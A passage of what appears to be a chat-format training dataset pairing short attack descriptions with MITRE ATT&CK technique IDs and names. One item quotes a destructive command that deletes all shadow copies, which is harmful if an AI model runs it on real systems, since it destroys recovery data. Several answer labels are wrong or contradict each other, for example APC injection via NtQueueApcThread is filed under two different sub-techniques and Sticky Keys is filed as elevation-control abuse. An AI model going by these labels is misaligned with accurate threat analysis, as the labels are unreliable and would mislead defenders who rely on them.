                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy implant triggers a kernel panic on macOS by writing to /dev/kmem, causing the system to crash and restart."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom loader that reads malicious modules from a network share and loads them reflectively into the target application."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removes all restore points by invoking vssadmin Delete Shadows /All."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team acquired confidential authentication token designs by purchasing them from a compromised insider."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat clones a high‑privilege token and launches a PowerShell session under that context."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brute force attack against RDP service across a range of IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses PowerShell to modify ACLs on sensitive files, granting the attacker read/write permissions."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sets up a scheduled workload in a Kubernetes namespace that spawns a container to scan for secrets."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a VNC client to establish a remote desktop session on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the intruder establishes a hidden HTTP proxy on a compromised host to tunnel data between compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor opens a VNC session that allows the attacker to interact with the victim machine from outside the network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Service Control Manager to install a new service that runs with SYSTEM permissions."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the 'Auto' value in the 'Winlogon' registry key to automatically launch a malicious script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software monitors SSH connections and, upon detection, takes over the session to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves injecting shellcode into a running process via the APC queue of a target thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests extra IAM credentials from the victim's cloud environment to elevate privileges across multiple services."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the LSASS process memory to extract LSA Secrets containing clear‑text credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a malicious executable within a compressed archive (.zip) and convinces the target to extract and run the file, granting code execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware component archives the victim's Documents folder into a zip file before encryption."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged compromised web servers to install a botnet client for later data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious DLL to hook Windows API calls and capture clipboard data whenever the user copies text."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker took advantage of an unsecured backup directory to upload defaced versions of critical website pages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the firmware of a USB device to include a payload that automatically replicates to the host system upon connection, using removable media as the infection vector."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker gains access to a corporate software repository and replaces the legitimate client binary with a version that logs keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor uses a non‑standard ASCII85 encoding to hide collected keystrokes before sending them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects shellcode into a remote thread of svchost.exe using NtQueueApcThread, then resumes the thread to run the code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute malicious payloads by invoking mmc.exe with a forged .msc file that runs arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious code in a legitimate installer and compile it on the target after delivery."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the lack of pre‑authentication on certain AD accounts, the attacker performs AS‑REP roasting to derive clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a specially crafted packet to trigger an exploit in the SMB service, then reads and exports credential data from the Security Account Manager (SAM) database."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host is used to read policy preference files that store credentials in an insecure format."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to move harvested credentials into a local staging folder named 'tmp' on the victim."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new vulnerability is announced, allowing attackers to execute arbitrary code on affected systems."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint collected user browsing history and used the GitLab API to create a new project and push the data files to it."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion code inspects the MAC address range for known virtual NIC prefixes and terminates if detected."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed automated indexing of an organization's shared drive, collecting PDFs and sending them to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group adds a new service entry in the Services.exe config to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Content injection is performed by adding obfuscated JavaScript into a shopping cart page to harvest credit‑card details."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains the domain's KRBTGT account hash and uses it to forge authentication tokens that allow impersonation of high-privilege accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a web shell uploaded via a vulnerable file upload endpoint, the attacker modified the site’s CSS files to replace brand colors with a defacement theme."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators exploit the COM object \"Microsoft.Update.AutoUpdate\" to trigger automatic updates that run attacker‑controlled scripts."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker calls the AWS IAM ListUsers API to enumerate every user account in the target cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages container orchestration tools to spin up a container that exfiltrates data from the host file system."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages Office Application Startup by embedding harmful code in an Outlook form that executes on launch."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection routine checks the system's DMI/SMBIOS data for manufacturer fields containing 'Microsoft Corporation' or 'VMware, Inc.' as an evasion technique."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an encrypted SSH session to a target server to move laterally within the network."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised admin's credentials to access SharePoint Online and copy sensitive financial spreadsheets to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerability in a system service to gain code execution during service startup."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exploits a misconfigured SSH service to gain unauthorized remote access and execute privilege‑escalation scripts."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured OAuth implementation to create forged access tokens that grant access to user data on the target service."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs credential dumping to obtain RDP login details, then hijacks the open remote desktop session to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accessed \\10.0.0.5\\shared and exfiltrated configuration files."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the host's disk image with a backdoored version that boots the compromised OS."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor uses the Windows Control Panel binary as a proxy, loading malicious modules through the system binary proxy execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary encodes exfiltrated logs with the ASCII85 (Base85) algorithm before uploading to an FTP server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Sticky Keys feature by replacing sethc.exe to obtain SYSTEM privileges at login."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a man‑in‑the‑middle operation, the attacker spoofs LLMNR responses, captures authentication hashes, and leverages them to relay SMB connections to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses internal email distribution lists to broadcast a malicious macro‑enabled Excel file to all staff members."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant creates a scheduled task that periodically contacts a hardcoded C2 URL."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to pull credentials from the Windows Credential Guard via a side-channel attack."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan connects to a well‑known weather API, repurposed as a dead‑drop resolver, to receive covert directives from the attacker’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NtQueueApcThread, the attacker schedules a payload to run in the context of another process's thread."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation scripts add a new user with a weak password to facilitate brute-force attacks later."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by encoding it in the payload of outbound ICMP echo request packets."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a known remote code execution vulnerability in a web server to gain initial foothold on the victim network."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed their data exfiltration within ICMP echo requests sent to port 0, exploiting a non‑standard usage of the protocol."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware packaged collected data into encrypted archives and transferred them to an Amazon S3 bucket owned by the threat group."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encoded malicious script files using Base64 before deployment to hide their content."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a compromised OS image into the boot partition of a server to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates collected keystrokes by posting them to an online pastebin service using HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Office document runs a PowerShell command to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A short description: modify network device credentials for persistence."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends spoofed MFA prompts via SMS to the victim, prompting them to disclose the one-time code."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat updates the system's firmware image to embed a hidden implant that activates at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom signed driver is placed in the system's driver store and set to start with the kernel during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor distributes a fake login page via a deceptive email, tricking users into entering their credentials and security questions."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leverages compromised OAuth credentials to access SharePoint’s document libraries and siphon off engineering schematics."
